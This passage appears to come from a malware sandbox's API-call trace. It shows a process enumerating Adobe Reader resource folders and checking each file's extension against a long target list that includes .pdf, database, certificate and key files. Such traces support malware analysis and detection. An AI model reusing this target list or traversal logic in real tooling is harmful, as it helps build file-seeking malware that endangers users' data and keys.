[0276.876] lstrcmpiW (lpString1=".jsf", lpString2=".png") returned -1 [0276.876] lstrlenW (lpString=".json") returned 5 [0276.876] lstrcmpiW (lpString1=".json", lpString2="s.png") returned -1 [0276.876] lstrlenW (lpString=".jsp") returned 4 [0276.876] lstrcmpiW (lpString1=".jsp", lpString2=".png") returned -1 [0276.876] lstrlenW (lpString=".kdc") returned 4 [0276.876] lstrcmpiW (lpString1=".kdc", lpString2=".png") returned -1 [0276.876] lstrlenW (lpString=".kmz") returned 4 [0276.876] lstrcmpiW (lpString1=".kmz", lpString2=".png") returned -1 [0276.876] lstrlenW (lpString=".kwm") returned 4 [0276.876] lstrcmpiW (lpString1=".kwm", lpString2=".png") returned -1 [0276.876] lstrlenW (lpString=".lasso") returned 6 [0276.876] lstrcmpiW (lpString1=".lasso", lpString2="ns.png") returned -1 [0276.876] lstrlenW (lpString=".lbi") returned 4 [0276.876] lstrcmpiW (lpString1=".lbi", lpString2=".png") returned -1 [0276.876] lstrlenW (lpString=".lgf") returned 4 [0276.876] lstrcmpiW (lpString1=".lgf", lpString2=".png") returned -1 [0276.877] lstrlenW (lpString=".lgp") returned 4 [0276.877] lstrcmpiW (lpString1=".lgp", lpString2=".png") returned -1 [0276.877] lstrlenW (lpString=".log") returned 4 [0276.877] lstrcmpiW (lpString1=".log", lpString2=".png") returned -1 [0276.877] lstrlenW (lpString=".m1v") returned 4 [0276.877] lstrcmpiW (lpString1=".m1v", lpString2=".png") returned -1 [0276.877] lstrlenW (lpString=".m4a") returned 4 [0276.877] lstrcmpiW (lpString1=".m4a", lpString2=".png") returned -1 [0276.877] lstrlenW (lpString=".m4v") returned 4 [0276.877] lstrcmpiW (lpString1=".m4v", lpString2=".png") returned -1 [0276.877] lstrlenW (lpString=".max") returned 4 [0276.877] lstrcmpiW (lpString1=".max", lpString2=".png") returned -1 [0276.877] lstrlenW (lpString=".md") returned 3 [0276.877] lstrcmpiW (lpString1=".md", lpString2="png") returned -1 [0276.877] lstrlenW (lpString=".mda") returned 4 [0276.877] lstrcmpiW (lpString1=".mda", lpString2=".png") returned -1 [0276.877] lstrlenW (lpString=".mdb") returned 4 [0276.877] lstrcmpiW (lpString1=".mdb", lpString2=".png") returned -1 [0276.877] lstrlenW (lpString=".mde") returned 4 [0276.877] lstrcmpiW (lpString1=".mde", lpString2=".png") returned -1 [0276.877] lstrlenW (lpString=".mdf") returned 4 [0276.877] lstrcmpiW (lpString1=".mdf", lpString2=".png") returned -1 [0276.877] lstrlenW (lpString=".mdw") returned 4 [0276.877] lstrcmpiW (lpString1=".mdw", lpString2=".png") returned -1 [0276.877] lstrlenW (lpString=".mef") returned 4 [0276.877] lstrcmpiW (lpString1=".mef", lpString2=".png") returned -1 [0276.877] lstrlenW (lpString=".mft") returned 4 [0276.877] lstrcmpiW (lpString1=".mft", lpString2=".png") returned -1 [0276.877] lstrlenW (lpString=".mfw") returned 4 [0276.877] lstrcmpiW (lpString1=".mfw", lpString2=".png") returned -1 [0276.877] lstrlenW (lpString=".mht") returned 4 [0276.877] lstrcmpiW (lpString1=".mht", lpString2=".png") returned -1 [0276.878] lstrlenW (lpString=".mhtml") returned 6 [0276.878] lstrcmpiW (lpString1=".mhtml", lpString2="ns.png") returned -1 [0276.878] lstrlenW (lpString=".mka") returned 4 [0276.878] lstrcmpiW (lpString1=".mka", lpString2=".png") returned -1 [0276.878] lstrlenW (lpString=".mkidx") returned 6 [0276.878] lstrcmpiW (lpString1=".mkidx", lpString2="ns.png") returned -1 [0276.878] lstrlenW (lpString=".mkv") returned 4 [0276.878] lstrcmpiW (lpString1=".mkv", lpString2=".png") returned -1 [0276.878] lstrlenW (lpString=".mos") returned 4 [0276.878] lstrcmpiW (lpString1=".mos", lpString2=".png") returned -1 [0276.878] lstrlenW (lpString=".mov") returned 4 [0276.878] lstrcmpiW (lpString1=".mov", lpString2=".png") returned -1 [0276.878] lstrlenW (lpString=".mp3") returned 4 [0276.878] lstrcmpiW (lpString1=".mp3", lpString2=".png") returned -1 [0276.878] lstrlenW (lpString=".mp4") returned 4 [0276.878] lstrcmpiW (lpString1=".mp4", lpString2=".png") returned -1 [0276.878] lstrlenW (lpString=".mpeg") returned 5 [0276.878] lstrcmpiW (lpString1=".mpeg", lpString2="s.png") returned -1 [0276.878] lstrlenW (lpString=".mpg") returned 4 [0276.878] lstrcmpiW (lpString1=".mpg", lpString2=".png") returned -1 [0276.878] lstrlenW (lpString=".mpv") returned 4 [0276.878] lstrcmpiW (lpString1=".mpv", lpString2=".png") returned -1 [0276.878] lstrlenW (lpString=".mrw") returned 4 [0276.878] lstrcmpiW (lpString1=".mrw", lpString2=".png") returned -1 [0276.878] lstrlenW (lpString=".msg") returned 4 [0276.878] lstrcmpiW (lpString1=".msg", lpString2=".png") returned -1 [0276.878] lstrlenW (lpString=".mxl") returned 4 [0276.878] lstrcmpiW (lpString1=".mxl", lpString2=".png") returned -1 [0276.878] lstrlenW (lpString=".myd") returned 4 [0276.878] lstrcmpiW (lpString1=".myd", lpString2=".png") returned -1 [0276.878] lstrlenW (lpString=".myi") returned 4 [0276.879] lstrcmpiW (lpString1=".myi", lpString2=".png") returned -1 [0276.879] lstrlenW (lpString=".nef") returned 4 [0276.879] lstrcmpiW (lpString1=".nef", lpString2=".png") returned -1 [0276.879] lstrlenW (lpString=".nrw") returned 4 [0276.879] lstrcmpiW (lpString1=".nrw", lpString2=".png") returned -1 [0276.879] lstrlenW (lpString=".obj") returned 4 [0276.879] lstrcmpiW (lpString1=".obj", lpString2=".png") returned -1 [0276.879] lstrlenW (lpString=".odb") returned 4 [0276.879] lstrcmpiW (lpString1=".odb", lpString2=".png") returned -1 [0276.879] lstrlenW (lpString=".odc") returned 4 [0276.879] lstrcmpiW (lpString1=".odc", lpString2=".png") returned -1 [0276.879] lstrlenW (lpString=".odm") returned 4 [0276.879] lstrcmpiW (lpString1=".odm", lpString2=".png") returned -1 [0276.879] lstrlenW (lpString=".odp") returned 4 [0276.879] lstrcmpiW (lpString1=".odp", lpString2=".png") returned -1 [0276.879] lstrlenW (lpString=".ods") returned 4 [0276.879] lstrcmpiW (lpString1=".ods", lpString2=".png") returned -1 [0276.879] lstrlenW (lpString=".oft") returned 4 [0276.879] lstrcmpiW (lpString1=".oft", lpString2=".png") returned -1 [0276.879] lstrlenW (lpString=".one") returned 4 [0276.879] lstrcmpiW (lpString1=".one", lpString2=".png") returned -1 [0276.879] lstrlenW (lpString=".onepkg") returned 7 [0276.879] lstrcmpiW (lpString1=".onepkg", lpString2="ons.png") returned -1 [0276.879] lstrlenW (lpString=".onetoc2") returned 8 [0276.879] lstrcmpiW (lpString1=".onetoc2", lpString2="cons.png") returned -1 [0276.879] lstrlenW (lpString=".opt") returned 4 [0276.879] lstrcmpiW (lpString1=".opt", lpString2=".png") returned -1 [0276.879] lstrlenW (lpString=".oqy") returned 4 [0276.879] lstrcmpiW (lpString1=".oqy", lpString2=".png") returned -1 [0276.880] lstrlenW (lpString=".orf") returned 4 [0276.880] lstrcmpiW (lpString1=".orf", lpString2=".png") returned -1 [0276.880] lstrlenW (lpString=".p12") returned 4 [0276.880] lstrcmpiW (lpString1=".p12", lpString2=".png") returned -1 [0276.880] lstrlenW (lpString=".p7b") returned 4 [0276.880] lstrcmpiW (lpString1=".p7b", lpString2=".png") returned -1 [0276.880] lstrlenW (lpString=".p7c") returned 4 [0276.880] lstrcmpiW (lpString1=".p7c", lpString2=".png") returned -1 [0276.880] lstrlenW (lpString=".pam") returned 4 [0276.880] lstrcmpiW (lpString1=".pam", lpString2=".png") returned -1 [0276.880] lstrlenW (lpString=".pbm") returned 4 [0276.880] lstrcmpiW (lpString1=".pbm", lpString2=".png") returned -1 [0276.880] lstrlenW (lpString=".pct") returned 4 [0276.880] lstrcmpiW (lpString1=".pct", lpString2=".png") returned -1 [0276.880] lstrlenW (lpString=".pcx") returned 4 [0276.880] lstrcmpiW (lpString1=".pcx", lpString2=".png") returned -1 [0276.880] lstrlenW (lpString=".pdd") returned 4 [0276.880] lstrcmpiW (lpString1=".pdd", lpString2=".png") returned -1 [0276.880] lstrlenW (lpString=".pdf") returned 4 [0276.880] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0276.880] lstrlenW (lpString=".pdp") returned 4 [0276.880] lstrcmpiW (lpString1=".pdp", lpString2=".png") returned -1 [0276.880] lstrlenW (lpString=".pef") returned 4 [0276.880] lstrcmpiW (lpString1=".pef", lpString2=".png") returned -1 [0276.880] lstrlenW (lpString=".pem") returned 4 [0276.880] lstrcmpiW (lpString1=".pem", lpString2=".png") returned -1 [0276.880] lstrlenW (lpString=".pff") returned 4 [0276.880] lstrcmpiW (lpString1=".pff", lpString2=".png") returned -1 [0276.880] lstrlenW (lpString=".pfm") returned 4 [0276.880] lstrcmpiW (lpString1=".pfm", lpString2=".png") returned -1 [0276.880] lstrlenW (lpString=".pfx") returned 4 [0276.880] lstrcmpiW (lpString1=".pfx", lpString2=".png") returned -1 [0276.880] lstrlenW (lpString=".pgm") returned 4 [0276.881] lstrcmpiW (lpString1=".pgm", lpString2=".png") returned -1 [0276.881] lstrlenW (lpString=".php") returned 4 [0276.881] lstrcmpiW (lpString1=".php", lpString2=".png") returned -1 [0276.881] lstrlenW (lpString=".php3") returned 5 [0276.881] lstrcmpiW (lpString1=".php3", lpString2="s.png") returned -1 [0276.881] lstrlenW (lpString=".php4") returned 5 [0276.881] lstrcmpiW (lpString1=".php4", lpString2="s.png") returned -1 [0276.881] lstrlenW (lpString=".php5") returned 5 [0276.881] lstrcmpiW (lpString1=".php5", lpString2="s.png") returned -1 [0276.881] lstrlenW (lpString=".phtml") returned 6 [0276.881] lstrcmpiW (lpString1=".phtml", lpString2="ns.png") returned -1 [0276.881] lstrlenW (lpString=".pict") returned 5 [0276.881] lstrcmpiW (lpString1=".pict", lpString2="s.png") returned -1 [0276.881] lstrlenW (lpString=".pl") returned 3 [0276.881] lstrcmpiW (lpString1=".pl", lpString2="png") returned -1 [0276.881] lstrlenW (lpString=".pls") returned 4 [0276.881] lstrcmpiW (lpString1=".pls", lpString2=".png") returned -1 [0276.881] lstrlenW (lpString=".pm") returned 3 [0276.881] lstrcmpiW (lpString1=".pm", lpString2="png") returned -1 [0276.881] lstrlenW (lpString=".png") returned 4 [0276.881] lstrcmpiW (lpString1=".png", lpString2=".png") returned 0 [0276.881] FindNextFileW (in: hFindFile=0x3315630, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeeac1720, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeac1720, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeac1720, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x555e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="digsig_icons_2x.png", cAlternateFileName="DIGSIG~1.PNG")) returned 1 [0276.881] lstrlenW (lpString="digsig_icons_2x.png") returned 19 [0276.881] lstrlenW (lpString=".1cd") returned 4 [0276.881] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0276.881] lstrlenW (lpString=".3ds") returned 4 [0276.881] lstrcmpiW (lpString1=".3ds", lpString2=".png") returned -1 [0276.881] lstrlenW (lpString=".3fr") returned 4 [0276.881] lstrcmpiW (lpString1=".3fr", lpString2=".png") returned -1 [0276.881] lstrlenW (lpString=".3g2") returned 4 [0276.881] lstrcmpiW (lpString1=".3g2", lpString2=".png") returned -1 [0276.881] lstrlenW (lpString=".3gp") returned 4 [0276.881] lstrcmpiW (lpString1=".3gp", lpString2=".png") returned -1 [0276.882] lstrlenW (lpString=".7z") returned 3 [0276.882] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0276.882] lstrlenW (lpString=".accda") returned 6 [0276.882] lstrcmpiW (lpString1=".accda", lpString2="2x.png") returned -1 [0276.882] lstrlenW (lpString=".accdb") returned 6 [0276.882] lstrcmpiW (lpString1=".accdb", lpString2="2x.png") returned -1 [0276.882] lstrlenW (lpString=".accdc") returned 6 [0276.882] lstrcmpiW (lpString1=".accdc", lpString2="2x.png") returned -1 [0276.882] lstrlenW (lpString=".accde") returned 6 [0276.882] lstrcmpiW (lpString1=".accde", lpString2="2x.png") returned -1 [0276.882] lstrlenW (lpString=".accdt") returned 6 [0276.882] lstrcmpiW (lpString1=".accdt", lpString2="2x.png") returned -1 [0276.882] lstrlenW (lpString=".accdw") returned 6 [0276.882] lstrcmpiW (lpString1=".accdw", lpString2="2x.png") returned -1 [0276.882] lstrlenW (lpString=".adb") returned 4 [0276.882] lstrcmpiW (lpString1=".adb", lpString2=".png") returned -1 [0276.882] lstrlenW (lpString=".adp") returned 4 [0276.882] lstrcmpiW (lpString1=".adp", lpString2=".png") returned -1 [0276.882] lstrlenW (lpString=".ai") returned 3 [0276.882] lstrcmpiW (lpString1=".ai", lpString2="png") returned -1 [0276.882] lstrlenW (lpString=".ai3") returned 4 [0276.882] lstrcmpiW (lpString1=".ai3", lpString2=".png") returned -1 [0276.882] lstrlenW (lpString=".ai4") returned 4 [0276.882] lstrcmpiW (lpString1=".ai4", lpString2=".png") returned -1 [0276.882] lstrlenW (lpString=".ai5") returned 4 [0276.882] lstrcmpiW (lpString1=".ai5", lpString2=".png") returned -1 [0276.883] lstrlenW (lpString=".ai6") returned 4 [0276.883] lstrcmpiW (lpString1=".ai6", lpString2=".png") returned -1 [0276.883] lstrlenW (lpString=".ai7") returned 4 [0276.883] lstrcmpiW (lpString1=".ai7", lpString2=".png") returned -1 [0276.883] lstrlenW (lpString=".ai8") returned 4 [0276.883] lstrcmpiW (lpString1=".ai8", lpString2=".png") returned -1 [0276.883] lstrlenW (lpString=".anim") returned 5 [0276.883] lstrcmpiW (lpString1=".anim", lpString2="x.png") returned -1 [0276.883] lstrlenW (lpString=".arw") returned 4 [0276.883] lstrcmpiW (lpString1=".arw", lpString2=".png") returned -1 [0276.883] FindNextFileW (in: hFindFile=0x3315630, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeeac1720, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeac1720, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeac1720, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x555e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="digsig_icons_2x.png", cAlternateFileName="DIGSIG~1.PNG")) returned 0 [0276.883] FindClose (in: hFindFile=0x3315630 | out: hFindFile=0x3315630) returned 1 [0276.883] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42a0fc8 | out: hHeap=0x670000) returned 1 [0276.883] FindNextFileW (in: hFindFile=0x3315730, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeac1720, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeac1720, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeac1720, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="dark", cAlternateFileName="")) returned 0 [0276.883] FindClose (in: hFindFile=0x3315730 | out: hFindFile=0x3315730) returned 1 [0276.883] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4290fc0 | out: hHeap=0x670000) returned 1 [0276.883] FindNextFileW (in: hFindFile=0x3315b70, lpFindFileData=0x396e1a4 | out: lpFindFileData=0x396e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeac1720, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeac1720, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeac1720, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="themes", cAlternateFileName="")) returned 0 [0276.883] FindClose (in: hFindFile=0x3315b70 | out: hFindFile=0x3315b70) returned 1 [0276.884] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x5071060 | out: hHeap=0x670000) returned 1 [0276.884] FindNextFileW (in: hFindFile=0x3315670, lpFindFileData=0x396e420 | out: lpFindFileData=0x396e420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeac1720, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeac1720, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeac1720, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 1 [0276.884] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x5071060 [0276.884] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\digsig\\js\\*", lpFindFileData=0x396e1a4 | out: lpFindFileData=0x396e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeac1720, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeac1720, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeb0dbd2, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x33159b0 [0277.059] FindNextFileW (in: hFindFile=0x33159b0, lpFindFileData=0x396e1a4 | out: lpFindFileData=0x396e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeac1720, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeac1720, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeb0dbd2, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0277.059] FindNextFileW (in: hFindFile=0x33159b0, lpFindFileData=0x396e1a4 | out: lpFindFileData=0x396e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeac1720, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeac1720, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeac1720, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="nls", cAlternateFileName="")) returned 1 [0277.060] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4225da8 [0277.061] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\digsig\\js\\nls\\*", lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeac1720, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeac1720, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeb0dbd2, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33155b0 [0277.102] FindNextFileW (in: hFindFile=0x33155b0, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeac1720, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeac1720, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeb0dbd2, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0277.103] FindNextFileW (in: hFindFile=0x33155b0, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeae796f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeae796f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeae796f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ar-ae", cAlternateFileName="")) returned 1 [0277.103] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x42a0fc8 [0277.103] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\digsig\\js\\nls\\ar-ae\\*", lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeae796f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeae796f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeae796f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x33157b0 [0277.117] FindNextFileW (in: hFindFile=0x33157b0, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeae796f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeae796f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeae796f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0277.117] FindNextFileW (in: hFindFile=0x33157b0, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeae796f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeae796f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeae796f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 0 [0277.118] FindClose (in: hFindFile=0x33157b0 | out: hFindFile=0x33157b0) returned 1 [0277.118] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42a0fc8 | out: hHeap=0x670000) returned 1 [0277.118] FindNextFileW (in: hFindFile=0x33155b0, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeac1720, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeac1720, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeac1720, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ca-es", cAlternateFileName="")) returned 1 [0277.118] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x42a0fc8 [0277.118] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\digsig\\js\\nls\\ca-es\\*", lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeac1720, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeac1720, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeac1720, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x3315bf0 [0277.119] FindNextFileW (in: hFindFile=0x3315bf0, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeac1720, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeac1720, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeac1720, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0277.119] FindNextFileW (in: hFindFile=0x3315bf0, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeeac1720, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeac1720, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeac1720, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x27ce, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0277.119] FindNextFileW (in: hFindFile=0x3315bf0, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeeac1720, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeac1720, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeac1720, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x27ce, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0277.119] FindClose (in: hFindFile=0x3315bf0 | out: hFindFile=0x3315bf0) returned 1 [0277.119] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42a0fc8 | out: hHeap=0x670000) returned 1 [0277.119] FindNextFileW (in: hFindFile=0x33155b0, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeac1720, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeac1720, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeac1720, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cs-cz", cAlternateFileName="")) returned 1 [0277.119] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x42a0fc8 [0277.119] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\digsig\\js\\nls\\cs-cz\\*", lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeac1720, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeac1720, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeac1720, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x3315cf0 [0277.120] FindNextFileW (in: hFindFile=0x3315cf0, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeac1720, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeac1720, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeac1720, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0277.120] FindNextFileW (in: hFindFile=0x3315cf0, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x20, 